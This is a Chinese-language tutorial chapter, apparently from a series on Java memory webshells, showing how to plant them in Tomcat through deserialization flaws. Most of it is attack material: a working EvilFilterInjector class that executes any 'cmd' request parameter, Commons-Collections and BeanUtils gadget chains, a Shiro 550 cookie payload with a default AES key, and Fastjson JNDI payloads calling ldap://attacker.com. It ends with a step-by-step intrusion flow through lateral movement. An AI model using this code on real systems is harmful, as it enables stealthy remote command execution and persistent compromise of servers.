内存马 - 05 反序列化与内存马

反序列化是内存马最常见的注入入口。本章讲解如何将内存马与反序列化利用链结合

为什么反序列化 + 内存马?

传统反序列化利用的局限

1
反序列化漏洞 → Runtime.exec("curl xxx | bash") → 反弹 Shell

问题:

  1. 目标可能无法出网
  2. 反弹 Shell 不稳定,断线就没了
  3. 网络层面特征明显(异常外连)

内存马方案

1
反序列化漏洞 → 注入内存马 → 通过正常 HTTP 流量控制

优势:

  1. 不需要目标出网
  2. 走正常 HTTP 端口,流量隐蔽
  3. 持久稳定,只要应用不重启就一直在

核心挑战:反序列化中如何注入内存马

反序列化执行代码的方式通常是:

Runtime.exec() —— 只能执行系统命令,无法操作 JVM 内部对象

TemplatesImpl —— 可以加载自定义类并执行,但在静态上下文中

关键问题:反序列化代码执行时没有 request 对象,如何获取 StandardContext?

答案:从线程中获取(见 02-Servlet型内存马 中”从线程中获取 StandardContext”一节)

利用 TemplatesImpl 加载内存马类

TemplatesImpl 原理回顾

TemplatesImpl 内部会调用 defineClass 加载 _bytecodes 中的字节码并调用其 newInstance()

因此可以在恶意类的构造器或 static 块中执行注入逻辑

恶意类设计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// 恶意类必须继承 AbstractTranslet(TemplatesImpl 的要求)
public class EvilFilterInjector extends AbstractTranslet {

static {
try {
// 1. 从线程中获取 StandardContext
StandardContext context = getStandardContextFromThread();

// 2. 创建恶意 Filter
Filter evilFilter = new Filter() {
@Override
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
// ... 读取输出
response.getWriter().write(output);
return;
}
chain.doFilter(request, response);
}
};

// 3. 注册 Filter(同第2章)
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
context.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
context.addFilterMapBefore(filterMap);
// ApplicationFilterConfig 注册...
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) {}

private static StandardContext getStandardContextFromThread() throws Exception {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Field resourcesField = cl.getClass().getSuperclass()
.getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(cl);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
return (StandardContext) contextField.get(resources);
}
}

常见反序列化链 + 内存马

CC11(Commons-Collections + TemplatesImpl)

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
→ HashSet.readObject()
→ HashMap.put()
→ LazyMap.get()
→ InvokerTransformer.transform()
→ TemplatesImpl.newTransformer()
defineClass() + newInstance()
→ EvilFilterInjector.<clinit>() ← 内存马注入代码

CC2(Commons-Collections4)

1
2
3
4
5
6
ObjectInputStream.readObject()
→ PriorityQueue.readObject()
→ TransformingComparator.compare()
→ InvokerTransformer.transform()
→ TemplatesImpl.newTransformer()
→ 内存马注入

CB1(Commons-BeanUtils)

1
2
3
4
5
6
7
ObjectInputStream.readObject()
→ PriorityQueue.readObject()
→ BeanComparator.compare()
→ PropertyUtils.getProperty()
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ 内存马注入

Shiro 反序列化 + 内存马

Shiro 550(CVE-2016-4437)

1
2
3
Cookie: rememberMe=<Base64(AES(serialize(payload)))>

内存马注入 payload

特殊考虑

类加载器问题:Shiro 使用自己的 ClassLoader 反序列化,可能无法加载 Tomcat 类

字节码大小限制:Cookie/Header 有大小限制(默认 8KB),内存马类可能过大

解决方案:分段传输类字节码 / 用 defineClass 动态加载 / 使用更短的利用链

Fastjson + 内存马

利用方式1:JNDI 注入

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/EvilFilterInjector",
"autoCommit": true
}

LDAP 服务器返回恶意类 → EvilFilterInjector 被加载执行 → 内存马注入

利用方式2:TemplatesImpl(需要特定条件)

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["<Base64(EvilFilterInjector.class)>"],
"_name": "evil",
"_tfactory": {},
"_outputProperties": {}
}

实战注入流程示例

以 Shiro 550 + Filter 型内存马为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. 确认 Shiro 漏洞存在
→ rememberMe Cookie 响应中包含 deleteMe

2. 确认 Shiro 密钥
→ 尝试常见默认密钥(kPH+bIxk5D2deZiIxcaaaA== 等)

3. 确认可用利用链
→ CommonsBeanutils1 (Shiro 自带 CB 依赖)

4. 构造内存马注入 payload
→ CB1 + TemplatesImpl + EvilFilterInjector

5. 发送 payload
→ Cookie: rememberMe=<加密后的payload>

6. 验证注入成功
→ 访问任意 URL,带上 cmd 参数

7. 后续操作
→ 上传工具 / 建立隧道 / 横向移动

生成 Payload 的工具

ysoserial:经典反序列化 Payload 生成工具,需要修改以支持内存马

**JMG (Java Memory Shell Generator)**:专门生成内存马 payload

Godzilla(哥斯拉):支持内存马

Behinder(冰蝎):支持内存马

suo5:支持内存马隧道

练习

  1. 使用 ysoserial 的 CommonsCollections2 链,将 payload 改为注入 Filter 型内存马
  2. 在靶场的 Shiro 环境中,通过 rememberMe Cookie 注入内存马
  3. 分析 JMG 工具生成的内存马 payload,理解其字节码结构
  4. 思考:如何让内存马支持加密通信(类似冰蝎/哥斯拉)?

上一章 目录 下一章
04-Agent型内存马 内存马 06-检测与防御